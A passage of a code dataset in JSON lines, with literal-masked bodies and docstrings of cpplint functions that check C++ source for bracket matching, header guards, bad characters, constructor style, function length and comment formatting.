stack at startpos.\n\n    Returns:\n      On finding matching end: (index just after matching end, None)\n      On finding an unclosed expression: (-1, None)\n      Otherwise: (-1, new stack at end of this line)", "id": "f7245:m31"}
{"signature": "def CloseExpression(clean_lines, linenum, pos):", "body": "line = clean_lines.elided[linenum]<EOL>if (line[pos] not in '<STR_LIT>') or Match(r'<STR_LIT>', line[pos:]):<EOL><INDENT>return (line, clean_lines.NumLines(), -<NUM_LIT:1>)<EOL><DEDENT>(end_pos, stack) = FindEndOfExpressionInLine(line, pos, [])<EOL>if end_pos > -<NUM_LIT:1>:<EOL><INDENT>return (line, linenum, end_pos)<EOL><DEDENT>while stack and linenum < clean_lines.NumLines() - <NUM_LIT:1>:<EOL><INDENT>linenum += <NUM_LIT:1><EOL>line = clean_lines.elided[linenum]<EOL>(end_pos, stack) = FindEndOfExpressionInLine(line, <NUM_LIT:0>, stack)<EOL>if end_pos > -<NUM_LIT:1>:<EOL><INDENT>return (line, linenum, end_pos)<EOL><DEDENT><DEDENT>return (line, clean_lines.NumLines(), -<NUM_LIT:1>)<EOL>", "docstring": "If input points to ( or { or [ or <, finds the position that closes it.\n\n    If lines[linenum][pos] points to a '(' or '{' or '[' or '<', finds the\n    linenum/pos that correspond to the closing of the expression.\n\n    TODO(unknown): cpplint spends a fair bit of time matching parentheses.\n    Ideally we would want to index all opening and closing parentheses once\n    and have CloseExpression be just a simple lookup, but due to preprocessor\n    tricks, this is not so easy.\n\n    Args:\n      clean_lines: A CleansedLines instance containing the file.\n      linenum: The number of the line to check.\n      pos: A position on the line.\n\n    Returns:\n      A tuple (line, linenum, pos) pointer *past* the closing brace, or\n      (line, len(lines), -1) if we never find a close.  Note we ignore\n      strings and comments when matching; and the line we return is the\n      'cleansed' line at linenum.", "id": "f7245:m32"}
{"signature": "def FindStartOfExpressionInLine(line, endpos, stack):", "body": "i = endpos<EOL>while i >= <NUM_LIT:0>:<EOL><INDENT>char = line[i]<EOL>if char in '<STR_LIT>':<EOL><INDENT>stack.append(char)<EOL><DEDENT>elif char == '<STR_LIT:>>':<EOL><INDENT>if (i > <NUM_LIT:0> and<EOL>(line[i - <NUM_LIT:1>] == '<STR_LIT:->' or<EOL>Match(r'<STR_LIT>', line[i - <NUM_LIT:1>:]) or<EOL>Search(r'<STR_LIT>', line[<NUM_LIT:0>:i]))):<EOL><INDENT>i -= <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>stack.append('<STR_LIT:>>')<EOL><DEDENT><DEDENT>elif char == '<STR_LIT:<>':<EOL><INDENT>if i > <NUM_LIT:0> and line[i - <NUM_LIT:1>] == '<STR_LIT:<>':<EOL><INDENT>i -= <NUM_LIT:1><EOL><DEDENT>else:<EOL><INDENT>if stack and stack[-<NUM_LIT:1>] == '<STR_LIT:>>':<EOL><INDENT>stack.pop()<EOL>if not stack:<EOL><INDENT>return (i, None)<EOL><DEDENT><DEDENT><DEDENT><DEDENT>elif char in '<STR_LIT>':<EOL><INDENT>while stack and stack[-<NUM_LIT:1>] == '<STR_LIT:>>':<EOL><INDENT>stack.pop()<EOL><DEDENT>if not stack:<EOL><INDENT>return (-<NUM_LIT:1>, None)<EOL><DEDENT>if ((char == '<STR_LIT:(>' and stack[-<NUM_LIT:1>] == '<STR_LIT:)>') or<EOL>(char == '<STR_LIT:[>' and stack[-<NUM_LIT:1>] == '<STR_LIT:]>') or<EOL>(char == '<STR_LIT:{>' and stack[-<NUM_LIT:1>] == '<STR_LIT:}>')):<EOL><INDENT>stack.pop()<EOL>if not stack:<EOL><INDENT>return (i, None)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>return (-<NUM_LIT:1>, None)<EOL><DEDENT><DEDENT>elif char == '<STR_LIT:;>':<EOL><INDENT>while stack and stack[-<NUM_LIT:1>] == '<STR_LIT:>>':<EOL><INDENT>stack.pop()<EOL><DEDENT>if not stack:<EOL><INDENT>return (-<NUM_LIT:1>, None)<EOL><DEDENT><DEDENT>i -= <NUM_LIT:1><EOL><DEDENT>return (-<NUM_LIT:1>, stack)<EOL>", "docstring": "Find position at the matching start of current expression.\n\n    This is almost the reverse of FindEndOfExpressionInLine, but note\n    that the input position and returned position differs by 1.\n\n    Args:\n      line: a CleansedLines line.\n      endpos: start searching at this position.\n      stack: nesting stack at endpos.\n\n    Returns:\n      On finding matching start: (index at matching start, None)\n      On finding an unclosed expression: (-1, None)\n      Otherwise: (-1, new stack at beginning of this line)", "id": "f7245:m33"}
{"signature": "def ReverseCloseExpression(clean_lines, linenum, pos):", "body": "line = clean_lines.elided[linenum]<EOL>if line[pos] not in '<STR_LIT>':<EOL><INDENT>return (line, <NUM_LIT:0>, -<NUM_LIT:1>)<EOL><DEDENT>(start_pos, stack) = FindStartOfExpressionInLine(line, pos, [])<EOL>if start_pos > -<NUM_LIT:1>:<EOL><INDENT>return (line, linenum, start_pos)<EOL><DEDENT>while stack and linenum > <NUM_LIT:0>:<EOL><INDENT>linenum -= <NUM_LIT:1><EOL>line = clean_lines.elided[linenum]<EOL>(start_pos, stack) = FindStartOfExpressionInLine(line, len(line) - <NUM_LIT:1>, stack)<EOL>if start_pos > -<NUM_LIT:1>:<EOL><INDENT>return (line, linenum, start_pos)<EOL><DEDENT><DEDENT>return (line, <NUM_LIT:0>, -<NUM_LIT:1>)<EOL>", "docstring": "If input points to ) or } or ] or >, finds the position that opens it.\n\n    If lines[linenum][pos] points to a ')' or '}' or ']' or '>', finds the\n    linenum/pos that correspond to the opening of the expression.\n\n    Args:\n      clean_lines: A CleansedLines instance containing the file.\n      linenum: The number of the line to check.\n      pos: A position on the line.\n\n    Returns:\n      A tuple (line, linenum, pos) pointer *at* the opening brace, or\n      (line, 0, -1) if we never find the matching opening brace.  Note\n      we ignore strings and comments when matching; and the line we\n      return is the 'cleansed' line at linenum.", "id": "f7245:m34"}
{"signature": "def CheckForCopyright(filename, lines, error):", "body": "<EOL>for line in range(<NUM_LIT:1>, min(len(lines), <NUM_LIT:11>)):<EOL><INDENT>if re.search(r'<STR_LIT>', lines[line], re.I): break<EOL><DEDENT>else:                       <EOL><INDENT>error(filename, <NUM_LIT:0>, '<STR_LIT>', <NUM_LIT:5>,<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>", "docstring": "Logs an error if no Copyright message appears at the top of the file.", "id": "f7245:m35"}
{"signature": "def GetIndentLevel(line):", "body": "indent = Match(r'<STR_LIT>', line)<EOL>if indent:<EOL><INDENT>return len(indent.group(<NUM_LIT:1>))<EOL><DEDENT>else:<EOL><INDENT>return <NUM_LIT:0><EOL><DEDENT>", "docstring": "Return the number of leading spaces in line.\n\n    Args:\n      line: A string to check.\n\n    Returns:\n      An integer count of leading spaces, possibly zero.", "id": "f7245:m36"}
{"signature": "def GetHeaderGuardCPPVariable(filename):", "body": "<EOL>filename = re.sub(r'<STR_LIT>', '<STR_LIT>', filename)<EOL>filename = re.sub(r'<STR_LIT>', r'<STR_LIT>', filename)<EOL>filename = filename.replace('<STR_LIT>', '<STR_LIT>').replace('<STR_LIT>', '<STR_LIT>')<EOL>fileinfo = FileInfo(filename)<EOL>file_path_from_root = fileinfo.RepositoryName()<EOL>if _root:<EOL><INDENT>suffix = os.sep<EOL>if suffix == '<STR_LIT:\\\\>':<EOL><INDENT>suffix += '<STR_LIT:\\\\>'<EOL><DEDENT>file_path_from_root = re.sub('<STR_LIT>' + _root + suffix, '<STR_LIT>', file_path_from_root)<EOL><DEDENT>return re.sub(r'<STR_LIT>', '<STR_LIT:_>', file_path_from_root).upper() + '<STR_LIT:_>'<EOL>", "docstring": "Returns the CPP variable that should be used as a header guard.\n\n    Args:\n      filename: The name of a C++ header file.\n\n    Returns:\n      The CPP variable that should be used as a header guard in the\n      named file.", "id": "f7245:m37"}
{"signature": "def CheckForHeaderGuard(filename, clean_lines, error):", "body": "<EOL>raw_lines = clean_lines.lines_without_raw_strings<EOL>for i in raw_lines:<EOL><INDENT>if Search(r'<STR_LIT>', i):<EOL><INDENT>return<EOL><DEDENT><DEDENT>for i in raw_lines:<EOL><INDENT>if Search(r'<STR_LIT>', i):<EOL><INDENT>return<EOL><DEDENT><DEDENT>cppvar = GetHeaderGuardCPPVariable(filename)<EOL>ifndef = '<STR_LIT>'<EOL>ifndef_linenum = <NUM_LIT:0><EOL>define = '<STR_LIT>'<EOL>endif = '<STR_LIT>'<EOL>endif_linenum = <NUM_LIT:0><EOL>for linenum, line in enumerate(raw_lines):<EOL><INDENT>linesplit = line.split()<EOL>if len(linesplit) >= <NUM_LIT:2>:<EOL><INDENT>if not ifndef and linesplit[<NUM_LIT:0>] == '<STR_LIT>':<EOL><INDENT>ifndef = linesplit[<NUM_LIT:1>]<EOL>ifndef_linenum = linenum<EOL><DEDENT>if not define and linesplit[<NUM_LIT:0>] == '<STR_LIT>':<EOL><INDENT>define = linesplit[<NUM_LIT:1>]<EOL><DEDENT><DEDENT>if line.startswith('<STR_LIT>'):<EOL><INDENT>endif = line<EOL>endif_linenum = linenum<EOL><DEDENT><DEDENT>if not ifndef or not define or ifndef != define:<EOL><INDENT>error(filename, <NUM_LIT:0>, '<STR_LIT>', <NUM_LIT:5>,<EOL>'<STR_LIT>' %<EOL>cppvar)<EOL>return<EOL><DEDENT>if ifndef != cppvar:<EOL><INDENT>error_level = <NUM_LIT:0><EOL>if ifndef != cppvar + '<STR_LIT:_>':<EOL><INDENT>error_level = <NUM_LIT:5><EOL><DEDENT>ParseNolintSuppressions(filename, raw_lines[ifndef_linenum], ifndef_linenum,<EOL>error)<EOL>error(filename, ifndef_linenum, '<STR_LIT>', error_level,<EOL>'<STR_LIT>' % cppvar)<EOL><DEDENT>ParseNolintSuppressions(filename, raw_lines[endif_linenum], endif_linenum,<EOL>error)<EOL>match = Match(r'<STR_LIT>' + cppvar + r'<STR_LIT>', endif)<EOL>if match:<EOL><INDENT>if match.group(<NUM_LIT:1>) == '<STR_LIT:_>':<EOL><INDENT>error(filename, endif_linenum, '<STR_LIT>', <NUM_LIT:0>,<EOL>'<STR_LIT>' % cppvar)<EOL><DEDENT>return<EOL><DEDENT>no_single_line_comments = True<EOL>for i in xrange(<NUM_LIT:1>, len(raw_lines) - <NUM_LIT:1>):<EOL><INDENT>line = raw_lines[i]<EOL>if Match(r'<STR_LIT>', line):<EOL><INDENT>no_single_line_comments = False<EOL>break<EOL><DEDENT><DEDENT>if no_single_line_comments:<EOL><INDENT>match = Match(r'<STR_LIT>' + cppvar + r'<STR_LIT>', endif)<EOL>if match:<EOL><INDENT>if match.group(<NUM_LIT:1>) == '<STR_LIT:_>':<EOL><INDENT>error(filename, endif_linenum, '<STR_LIT>', <NUM_LIT:0>,<EOL>'<STR_LIT>' % cppvar)<EOL><DEDENT>return<EOL><DEDENT><DEDENT>error(filename, endif_linenum, '<STR_LIT>', <NUM_LIT:5>,<EOL>'<STR_LIT>' % cppvar)<EOL>", "docstring": "Checks that the file contains a header guard.\n\n    Logs an error if no #ifndef header guard is present.  For other\n    headers, checks that the full pathname is used.\n\n    Args:\n      filename: The name of the C++ header file.\n      clean_lines: A CleansedLines instance containing the file.\n      error: The function to call with any errors found.", "id": "f7245:m38"}
{"signature": "def CheckHeaderFileIncluded(filename, include_state, error):", "body": "<EOL>fileinfo = FileInfo(filename)<EOL>if Search(_TEST_FILE_SUFFIX, fileinfo.BaseName()):<EOL><INDENT>return<EOL><DEDENT>for ext in GetHeaderExtensions():<EOL><INDENT>basefilename = filename[<NUM_LIT:0>:len(filename) - len(fileinfo.Extension())]<EOL>headerfile = basefilename + '<STR_LIT:.>' + ext<EOL>if not os.path.exists(headerfile):<EOL><INDENT>continue<EOL><DEDENT>headername = FileInfo(headerfile).RepositoryName()<EOL>first_include = None<EOL>for section_list in include_state.include_list:<EOL><INDENT>for f in section_list:<EOL><INDENT>if headername in f[<NUM_LIT:0>] or f[<NUM_LIT:0>] in headername:<EOL><INDENT>return<EOL><DEDENT>if not first_include:<EOL><INDENT>first_include = f[<NUM_LIT:1>]<EOL><DEDENT><DEDENT><DEDENT>error(filename, first_include, '<STR_LIT>', <NUM_LIT:5>,<EOL>'<STR_LIT>' % (fileinfo.RepositoryName(),<EOL>headername))<EOL><DEDENT>", "docstring": "Logs an error if a source file does not include its header.", "id": "f7245:m39"}
{"signature": "def CheckForBadCharacters(filename, lines, error):", "body": "for linenum, line in enumerate(lines):<EOL><INDENT>if unicode_escape_decode('<STR_LIT>') in line:<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:5>,<EOL>'<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' in line:<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:5>, '<STR_LIT>')<EOL><DEDENT><DEDENT>", "docstring": "Logs an error for each line containing bad characters.\n\n    Two kinds of bad characters:\n\n    1. Unicode replacement characters: These indicate that either the file\n    contained invalid UTF-8 (likely) or Unicode replacement characters (which\n    it shouldn't).  Note that it's possible for this to throw off line\n    numbering if the invalid UTF-8 occurred adjacent to a newline.\n\n    2. NUL bytes.  These are problematic for some tools.\n\n    Args:\n      filename: The name of the current file.\n      lines: An array of strings, each representing a line of the file.\n      error: The function to call with any errors found.", "id": "f7245:m40"}
{"signature": "def CheckForNewlineAtEOF(filename, lines, error):", "body": "<EOL>if len(lines) < <NUM_LIT:3> or lines[-<NUM_LIT:2>]:<EOL><INDENT>error(filename, len(lines) - <NUM_LIT:2>, '<STR_LIT>', <NUM_LIT:5>,<EOL>'<STR_LIT>')<EOL><DEDENT>", "docstring": "Logs an error if there is no newline char at the end of the file.\n\n    Args:\n      filename: The name of the current file.\n      lines: An array of strings, each representing a line of the file.\n      error: The function to call with any errors found.", "id": "f7245:m41"}
{"signature": "def CheckForMultilineCommentsAndStrings(filename, clean_lines, linenum, error):", "body": "line = clean_lines.elided[linenum]<EOL>line = line.replace('<STR_LIT>', '<STR_LIT>')<EOL>if line.count('<STR_LIT>') > line.count('<STR_LIT>'):<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:5>,<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>if (line.count('<STR_LIT:\">') - line.count('<STR_LIT>')) % <NUM_LIT:2>:<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:5>,<EOL>'<STR_LIT>'<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>", "docstring": "Logs an error if we see /* ... */ or \"...\" that extend past one line.\n\n    /* ... */ comments are legit inside macros, for one line.\n    Otherwise, we prefer // comments, so it's ok to warn about the\n    other.  Likewise, it's ok for strings to extend across multiple\n    lines, as long as a line continuation character (backslash)\n    terminates each line. Although not currently prohibited by the C++\n    style guide, it's ugly and unnecessary. We don't do well with either\n    in this lint program, so we warn about both.\n\n    Args:\n      filename: The name of the current file.\n      clean_lines: A CleansedLines instance containing the file.\n      linenum: The number of the line to check.\n      error: The function to call with any errors found.", "id": "f7245:m42"}
{"signature": "def CheckPosixThreading(filename, clean_lines, linenum, error):", "body": "line = clean_lines.elided[linenum]<EOL>for single_thread_func, multithread_safe_func, pattern in _THREADING_LIST:<EOL><INDENT>if Search(pattern, line):<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:2>,<EOL>'<STR_LIT>' + multithread_safe_func +<EOL>'<STR_LIT>' + single_thread_func +<EOL>'<STR_LIT>')<EOL><DEDENT><DEDENT>", "docstring": "Checks for calls to thread-unsafe functions.\n\n    Much code has been originally written without consideration of\n    multi-threading. Also, engineers are relying on their old experience;\n    they have learned posix before threading extensions were added. These\n    tests guide the engineers to use thread-safe functions (when using\n    posix directly).\n\n    Args:\n      filename: The name of the current file.\n      clean_lines: A CleansedLines instance containing the file.\n      linenum: The number of the line to check.\n      error: The function to call with any errors found.", "id": "f7245:m43"}
{"signature": "def CheckVlogArguments(filename, clean_lines, linenum, error):", "body": "line = clean_lines.elided[linenum]<EOL>if Search(r'<STR_LIT>', line):<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:5>,<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>", "docstring": "Checks that VLOG() is only used for defining a logging level.\n\n    For example, VLOG(2) is correct. VLOG(INFO), VLOG(WARNING), VLOG(ERROR), and\n    VLOG(FATAL) are not.\n\n    Args:\n      filename: The name of the current file.\n      clean_lines: A CleansedLines instance containing the file.\n      linenum: The number of the line to check.\n      error: The function to call with any errors found.", "id": "f7245:m44"}
{"signature": "def CheckInvalidIncrement(filename, clean_lines, linenum, error):", "body": "line = clean_lines.elided[linenum]<EOL>if _RE_PATTERN_INVALID_INCREMENT.match(line):<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:5>,<EOL>'<STR_LIT>')<EOL><DEDENT>", "docstring": "Checks for invalid increment *count++.\n\n    For example following function:\n    void increment_counter(int* count) {\n      *count++;\n    }\n    is invalid, because it effectively does count++, moving pointer, and should\n    be replaced with ++*count, (*count)++ or *count += 1.\n\n    Args:\n      filename: The name of the current file.\n      clean_lines: A CleansedLines instance containing the file.\n      linenum: The number of the line to check.\n      error: The function to call with any errors found.", "id": "f7245:m45"}
{"signature": "def CheckForNonStandardConstructs(filename, clean_lines, linenum,<EOL>nesting_state, error):", "body": "<EOL>line = clean_lines.lines[linenum]<EOL>if Search(r'<STR_LIT>', line):<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:3>,<EOL>'<STR_LIT>')<EOL><DEDENT>if Search(r'<STR_LIT>', line):<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:2>,<EOL>'<STR_LIT>')<EOL><DEDENT>line = line.replace('<STR_LIT>', '<STR_LIT>')<EOL>if Search(r'<STR_LIT>', line):<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:3>,<EOL>'<STR_LIT>')<EOL><DEDENT>line = clean_lines.elided[linenum]<EOL>if Search(r'<STR_LIT>'<EOL>r'<STR_LIT>'<EOL>r'<STR_LIT>'<EOL>r'<STR_LIT>',<EOL>line):<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:5>,<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>if Match(r'<STR_LIT>', line):<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:5>,<EOL>'<STR_LIT>')<EOL><DEDENT>if Match(r'<STR_LIT>', line):<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:5>,<EOL>'<STR_LIT>')<EOL><DEDENT>if Search(r'<STR_LIT>',<EOL>line):<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:3>,<EOL>'<STR_LIT>')<EOL><DEDENT>if Search(r'<STR_LIT>', line):<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:2>,<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>classinfo = nesting_state.InnermostClass()<EOL>if not classinfo or not classinfo.seen_open_brace:<EOL><INDENT>return<EOL><DEDENT>base_classname = classinfo.name.split('<STR_LIT>')[-<NUM_LIT:1>]<EOL>explicit_constructor_match = Match(<EOL>r'<STR_LIT>'<EOL>r'<STR_LIT>'<EOL>% re.escape(base_classname),<EOL>line)<EOL>if explicit_constructor_match:<EOL><INDENT>is_marked_explicit = explicit_constructor_match.group(<NUM_LIT:1>)<EOL>if not explicit_constructor_match.group(<NUM_LIT:2>):<EOL><INDENT>constructor_args = []<EOL><DEDENT>else:<EOL><INDENT>constructor_args = explicit_constructor_match.group(<NUM_LIT:2>).split('<STR_LIT:U+002C>')<EOL><DEDENT>i = <NUM_LIT:0><EOL>while i < len(constructor_args):<EOL><INDENT>constructor_arg = constructor_args[i]<EOL>while (constructor_arg.count('<STR_LIT:<>') > constructor_arg.count('<STR_LIT:>>') or<EOL>constructor_arg.count('<STR_LIT:(>') > constructor_arg.count('<STR_LIT:)>')):<EOL><INDENT>constructor_arg += '<STR_LIT:U+002C>' + constructor_args[i + <NUM_LIT:1>]<EOL>del constructor_args[i + <NUM_LIT:1>]<EOL><DEDENT>constructor_args[i] = constructor_arg<EOL>i += <NUM_LIT:1><EOL><DEDENT>variadic_args = [arg for arg in constructor_args if '<STR_LIT>' in arg]<EOL>defaulted_args = [arg for arg in constructor_args if '<STR_LIT:=>' in arg]<EOL>noarg_constructor = (not constructor_args or  <EOL>(len(constructor_args) == <NUM_LIT:1> and<EOL>constructor_args[<NUM_LIT:0>].strip() == '<STR_LIT>'))<EOL>onearg_constructor = ((len(constructor_args) == <NUM_LIT:1> and  <EOL>not noarg_constructor) or<EOL>(len(constructor_args) >= <NUM_LIT:1> and<EOL>not noarg_constructor and<EOL>len(defaulted_args) >= len(constructor_args) - <NUM_LIT:1>) or<EOL>(len(constructor_args) <= <NUM_LIT:2> and<EOL>len(variadic_args) >= <NUM_LIT:1>))<EOL>initializer_list_constructor = bool(<EOL>onearg_constructor and<EOL>Search(r'<STR_LIT>', constructor_args[<NUM_LIT:0>]))<EOL>copy_constructor = bool(<EOL>onearg_constructor and<EOL>Match(r'<STR_LIT>'<EOL>% re.escape(base_classname), constructor_args[<NUM_LIT:0>].strip()))<EOL>if (not is_marked_explicit and<EOL>onearg_constructor and<EOL>not initializer_list_constructor and<EOL>not copy_constructor):<EOL><INDENT>if defaulted_args or variadic_args:<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:5>,<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:5>,<EOL>'<STR_LIT>')<EOL><DEDENT><DEDENT>elif is_marked_explicit and not onearg_constructor:<EOL><INDENT>if noarg_constructor:<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:5>,<EOL>'<STR_LIT>')<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "r\"\"\"Logs an error if we see certain non-ANSI constructs ignored by gcc-2.\n\n    Complain about several constructs which gcc-2 accepts, but which are\n    not standard C++.  Warning about these in lint is one way to ease the\n    transition to new compilers.\n    - put storage class first (e.g. \"static const\" instead of \"const static\").\n    - \"%lld\" instead of %qd\" in printf-type functions.\n    - \"%1$d\" is non-standard in printf-type functions.\n    - \"\\%\" is an undefined character escape sequence.\n    - text after #endif is not allowed.\n    - invalid inner-style forward declaration.\n    - >? and <? operators, and their >?= and <?= cousins.\n\n    Additionally, check for constructor/destructor style violations and reference\n    members, as it is very convenient to do so while checking for\n    gcc-2 compliance.\n\n    Args:\n      filename: The name of the current file.\n      clean_lines: A CleansedLines instance containing the file.\n      linenum: The number of the line to check.\n      nesting_state: A NestingState instance which maintains information about\n                     the current stack of nested blocks being parsed.\n      error: A callable to which errors are reported, which takes 4 arguments:\n             filename, line number, error level, and message", "id": "f7245:m48"}
{"signature": "def CheckSpacingForFunctionCall(filename, clean_lines, linenum, error):", "body": "line = clean_lines.elided[linenum]<EOL>fncall = line    <EOL>for pattern in (r'<STR_LIT>',<EOL>r'<STR_LIT>',<EOL>r'<STR_LIT>',<EOL>r'<STR_LIT>'):<EOL><INDENT>match = Search(pattern, line)<EOL>if match:<EOL><INDENT>fncall = match.group(<NUM_LIT:1>)    <EOL>break<EOL><DEDENT><DEDENT>if (  <EOL>not Search(r'<STR_LIT>',<EOL>fncall) and<EOL>not Search(r'<STR_LIT>', fncall) and<EOL>not Search(r'<STR_LIT>', fncall)):<EOL><INDENT>if Search(r'<STR_LIT>', fncall):      <EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:4>,<EOL>'<STR_LIT>')<EOL><DEDENT>elif Search(r'<STR_LIT>', fncall):<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:2>,<EOL>'<STR_LIT>')<EOL><DEDENT>if (Search(r'<STR_LIT>', fncall) and<EOL>not Search(r'<STR_LIT>', fncall) and<EOL>not Search(r'<STR_LIT>', fncall) and<EOL>not Search(r'<STR_LIT>', fncall) and<EOL>not Search(r'<STR_LIT>', fncall)):<EOL><INDENT>if Search(r'<STR_LIT>', line):<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:0>,<EOL>'<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:4>,<EOL>'<STR_LIT>')<EOL><DEDENT><DEDENT>if Search(r'<STR_LIT>', fncall):<EOL><INDENT>if Search(r'<STR_LIT>', fncall):<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:2>,<EOL>'<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:2>,<EOL>'<STR_LIT>')<EOL><DEDENT><DEDENT><DEDENT>", "docstring": "Checks for the correctness of various spacing around function calls.\n\n    Args:\n      filename: The name of the current file.\n      clean_lines: A CleansedLines instance containing the file.\n      linenum: The number of the line to check.\n      error: The function to call with any errors found.", "id": "f7245:m49"}
{"signature": "def IsBlankLine(line):", "body": "return not line or line.isspace()<EOL>", "docstring": "Returns true if the given line is blank.\n\n    We consider a line to be blank if the line is empty or consists of\n    only white spaces.\n\n    Args:\n      line: A line of a string.\n\n    Returns:\n      True, if the given line is blank.", "id": "f7245:m50"}
{"signature": "def CheckForFunctionLengths(filename, clean_lines, linenum,<EOL>function_state, error):", "body": "lines = clean_lines.lines<EOL>line = lines[linenum]<EOL>joined_line = '<STR_LIT>'<EOL>starting_func = False<EOL>regexp = r'<STR_LIT>'  <EOL>match_result = Match(regexp, line)<EOL>if match_result:<EOL><INDENT>function_name = match_result.group(<NUM_LIT:1>).split()[-<NUM_LIT:1>]<EOL>if function_name == '<STR_LIT>' or function_name == '<STR_LIT>' or (<EOL>not Match(r'<STR_LIT>', function_name)):<EOL><INDENT>starting_func = True<EOL><DEDENT><DEDENT>if starting_func:<EOL><INDENT>body_found = False<EOL>for start_linenum in range(linenum, clean_lines.NumLines()):<EOL><INDENT>start_line = lines[start_linenum]<EOL>joined_line += '<STR_LIT:U+0020>' + start_line.lstrip()<EOL>if Search(r'<STR_LIT>', start_line):  <EOL><INDENT>body_found = True<EOL>break                              <EOL><DEDENT>elif Search(r'<STR_LIT:{>', start_line):<EOL><INDENT>body_found = True<EOL>function = Search(r'<STR_LIT>', line).group(<NUM_LIT:1>)<EOL>if Match(r'<STR_LIT>', function):    <EOL><INDENT>parameter_regexp = Search(r'<STR_LIT>', joined_line)<EOL>if parameter_regexp:             <EOL><INDENT>function += parameter_regexp.group(<NUM_LIT:1>)<EOL><DEDENT><DEDENT>else:<EOL><INDENT>function += '<STR_LIT>'<EOL><DEDENT>function_state.Begin(function)<EOL>break<EOL><DEDENT><DEDENT>if not body_found:<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:5>,<EOL>'<STR_LIT>')<EOL><DEDENT><DEDENT>elif Match(r'<STR_LIT>', line):  <EOL><INDENT>function_state.Check(error, filename, linenum)<EOL>function_state.End()<EOL><DEDENT>elif not Match(r'<STR_LIT>', line):<EOL><INDENT>function_state.Count()<EOL><DEDENT>", "docstring": "Reports for long function bodies.\n\n    For an overview why this is done, see:\n    https://google-styleguide.googlecode.com/svn/trunk/cppguide.xml#Write_Short_Functions\n\n    Uses a simplistic algorithm assuming other style guidelines\n    (especially spacing) are followed.\n    Only checks unindented functions, so class members are unchecked.\n    Trivial bodies are unchecked, so constructors with huge initializer lists\n    may be missed.\n    Blank/comment lines are not counted so as to avoid encouraging the removal\n    of vertical space and comments just to get through a lint check.\n    NOLINT *on the last line of a function* disables this check.\n\n    Args:\n      filename: The name of the current file.\n      clean_lines: A CleansedLines instance containing the file.\n      linenum: The number of the line to check.\n      function_state: Current function name and lines in body so far.\n      error: The function to call with any errors found.", "id": "f7245:m52"}
{"signature": "def CheckComment(line, filename, linenum, next_line_start, error):", "body": "commentpos = line.find('<STR_LIT>')<EOL>if commentpos != -<NUM_LIT:1>:<EOL><INDENT>if re.sub(r'<STR_LIT>', '<STR_LIT>', line[<NUM_LIT:0>:commentpos]).count('<STR_LIT:\">') % <NUM_LIT:2> == <NUM_LIT:0>:<EOL><INDENT>if (not (Match(r'<STR_LIT>', line) and next_line_start == commentpos) and<EOL>((commentpos >= <NUM_LIT:1> and<EOL>line[commentpos-<NUM_LIT:1>] not in string.whitespace) or<EOL>(commentpos >= <NUM_LIT:2> and<EOL>line[commentpos-<NUM_LIT:2>] not in string.whitespace))):<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:2>,<EOL>'<STR_LIT>')<EOL><DEDENT>comment = line[commentpos:]<EOL>match = _RE_PATTERN_TODO.match(comment)<EOL>if match:<EOL><INDENT>leading_whitespace = match.group(<NUM_LIT:1>)<EOL>if len(leading_whitespace) > <NUM_LIT:1>:<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:2>,<EOL>'<STR_LIT>')<EOL><DEDENT>username = match.group(<NUM_LIT:2>)<EOL>if not username:<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:2>,<EOL>'<STR_LIT>'<EOL>'<STR_LIT>')<EOL><DEDENT>middle_whitespace = match.group(<NUM_LIT:3>)<EOL>if middle_whitespace != '<STR_LIT:U+0020>' and middle_whitespace != '<STR_LIT>':<EOL><INDENT>error(filename, linenum, '<STR_LIT>', <NUM_LIT:2>,<EOL>'<STR_LIT>')<EOL><DEDENT><DEDENT>if (Match(r'<STR_LIT>', comment) and<EOL>not Match(r'<STR_LIT>', comment)):<EOL><INDENT>error(filename, linenum, '<STR_LIT>', 